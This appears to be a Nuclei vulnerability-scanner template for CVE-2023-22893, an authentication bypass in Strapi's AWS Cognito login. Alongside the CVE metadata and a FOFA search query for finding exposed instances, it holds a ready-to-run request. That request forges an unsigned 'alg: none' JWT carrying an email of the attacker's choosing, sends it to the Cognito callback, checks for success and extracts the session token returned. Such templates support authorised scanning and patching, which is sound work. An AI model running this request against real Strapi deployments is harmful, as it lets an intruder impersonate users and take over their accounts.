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id: CVE-2023-22893
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info:
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name: Strapi Versions <=4.5.6 - Authentication Bypass
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author: iamnoooob,rootxharsh,pdresearch
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severity: high
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description: |
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Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.
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reference:
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- https://www.ghostccamm.com/blog/multi_strapi_vulns
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- https://github.com/strapi/strapi/releases
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- https://github.com/ARPSyndicate/cvemon
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- https://nvd.nist.gov/vuln/detail/CVE-2023-22893
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2023-22893
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cwe-id: CWE-287
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epss-score: 0.00337
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epss-percentile: 0.71798
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cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: strapi
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product: strapi
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fofa-query: app="strapi-Headless-CMS"
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tags: cve,cve2023,strapi,authenticated,aws,cognito
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variables:
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email: "{{email}}"
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payload: '{"cognito:username":"{{to_lower(rand_text_alpha(10))}}","email":"{{email}}"}'
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http:
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- raw:
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- |
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GET /api/auth/cognito/callback?access_token={{to_lower(rand_text_alpha(8))}}&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.{{base64(payload)}}. HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"provider":'
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- '"confirmed":'
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condition: and
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- type: word
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part: content_type
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words:
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- application/json
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- type: status
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status:
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- 200
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extractors:
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- type: json
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part: body
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name: token
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json:
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- ".jwt"
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